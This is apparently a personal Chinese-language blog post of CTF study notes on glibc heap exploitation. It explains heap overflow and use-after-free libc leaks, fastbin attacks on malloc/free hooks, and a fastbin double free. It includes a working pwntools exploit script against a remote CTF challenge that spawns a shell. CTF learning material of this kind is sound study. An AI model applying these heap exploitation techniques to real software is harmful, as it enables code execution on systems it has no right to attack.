Glibc Heap Exploit 坐牢笔记 - 0x03

# Glibc Heap Exploit 坐牢笔记 - 0x03

# Pre

期末周一直没有更,也没有学 heap,寒假开始坐牢。
2024 年首更。(除了那个 XorHack 那个算是补更)
0x01,0x02 都是在理论层面进行的笔记,这篇以实践为重,内容也是最近做的题目。
老样子,不打算详解,只记录细节之类的。

# Main

# [BUUCTF]??????

# ???1

漏洞在 edit 函数里面存在堆溢出,因为写入的长度可以任意。
先开辟几个 chunk,记为 chunk1 chun2 ... ...
最后肯定是要修改并调用__malloc_hook 或者 free_hook 的。因此我们肯定要在 hook 那里开辟 chunk 并且写入。
因此我们先用 edit 函数修改 chunk3 的大小超过 fastbin 大小范围,之后再 free 掉 chunk3,之后用 edit 函数溢出修改 chunk2 的 size,让 chunk2 的 size 能够覆盖到 chunk3,之后进行输出就能输出 chunk3 在 free 之后,chunk 内的 fd,bk 的值,也就是 main_arena 的附近固定偏移的地方,而且 main_arena 的相对 libc 基址的偏移也是个定值,因此我们此时就可以泄露出 libc
基址。
下面就是在那里创建 chunk 了。
我们把 chunk3 的 fd 的地址改为 hook 附近合适的大小,发现有 0x7f,满足条件。
这时候声明一个大小为 0x60 的 chunk,这时候 chunk 就会在 hook 旁边了,我们直接修改 hook 的内容为 one_gadget 之后创建这个 chunk 就可以 getshell 了。
注:calloc 函数创建堆块的时候会把堆块的内容清空。虽然这对本题没有什么大影响
但是离谱的是本地打不通,但是远程能打通,即使是换了 libc。估计是 ld 的问题。。。

# ???2

首先 alloc 几个 0x100 大 chunk,此时标记为 used,free 一个其他的 chunk,把他的 fd 改为 0x100 的大 chunk 地址,这时候 alloc 一个 0x100 的 chunk,这时候,一个 chunk,列表中的记录就会有两条都是 used,我们先把 unsworted bin 清空,再利用其中一条记录 free 掉来使他进入 unsorted bin,再用另一条 used 的记录输出 chunk 的内容,就能得到 fd 和 bk 指向的 main_arena 的附近了。之后就计算出来 libc 基址了。
之后的思路差不多。。。 。。。

# [NewStarCTF-Week4] ezheap

还是正常 heap 堆题会干的事,注意到 delete 之后没有把 chunk 标记为已经 free 的状态,因此 free 之后再 show 就可以通过泄露 main_arena 附近的 unsorted bin 链表的地址来泄露 libc 基址。此外,edit 函数也没有对 chun k 的状态进行有效的检查,因此,即使是已经 free 的 chunk 依旧能够修改内容。我们直接修改 unsorted bin 里面的 chunk 的 fd 为 hook 附近的地址,在申请 chunk,就能修改 chunk 内部的 hook 内容,从而调用 free 或者 malloc 就可以 getshell 了。
感觉这题和上一题差不多。就是少了 heap 是否使用的标志

# [NewStarCTF-Week4]Double

目标是把 bss 上面一个变量数值修改为 0x666,打算在那里开一个 chunk 在 ad 的时候写入数值。
问题就是如何在那里构造 chunk。直接 double free
先 alloc 两个 chunk,先 free 第一个,再 free 第二个,再 free 第一个,此时 fastbin 就是 chunk1->chunk2->chunk1,这时候就相当于我们有两条记录 chunk1 为 free 的记录。我们先 alloc 一个 chunk,使用的是原来的 chunk1(链表里面最左边的那个 chunk1,不是右边那个),并且写入 bss 数值的位置,但是由于还有一条记录记录着他在 free 状态,于是这里写入的地址就是充当着 fd 的作用,此时 fastbin 就相当于 chunk2->chunk1->bss_chunk0。我们再 alloc 2 个 chunk,再 alloc 的 chunk 就是 bss 那里的 chunk 了。此时由于 init 函数在变量前面位置写入了 0x31,正好当作 chunk 的 size 部分,于是我们直接写入 0x666 就可以把 check 的变量覆盖为 getshell 的数值。
Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './Double'
p=remote('node5.buuoj.cn',28896)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./Double')
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')


def add(idx, s):
p.sendlineafter(b">", b'1')
p.sendlineafter(b"Input idx\n", str(idx))
p.sendafter(b"Input content", s)

def free(idx):
p.sendlineafter(b">", b'2')
p.sendlineafter(b"Input idx\n", str(idx))

add(0,"a")
add(1,"a")

free(0)
free(1)
free(0)

add(2,p64(0x602060))
add(3,"a")
add(4,"b")
add(5,p64(0x666))

p.interactive()

# [NewStarCTF-Week5]Planet

好吧,这个不是堆,但是懒得再单独开一个文章了。
主要的难点就是 password 进行了随机化排序,我们只要在本地进行排序也可以得到结果,只要你的 PC 够快,而且网络够好。

# End

好,今日坐牢结束!nicaiwoweishenmobufangchulaiexpsofsomeproblems,huaji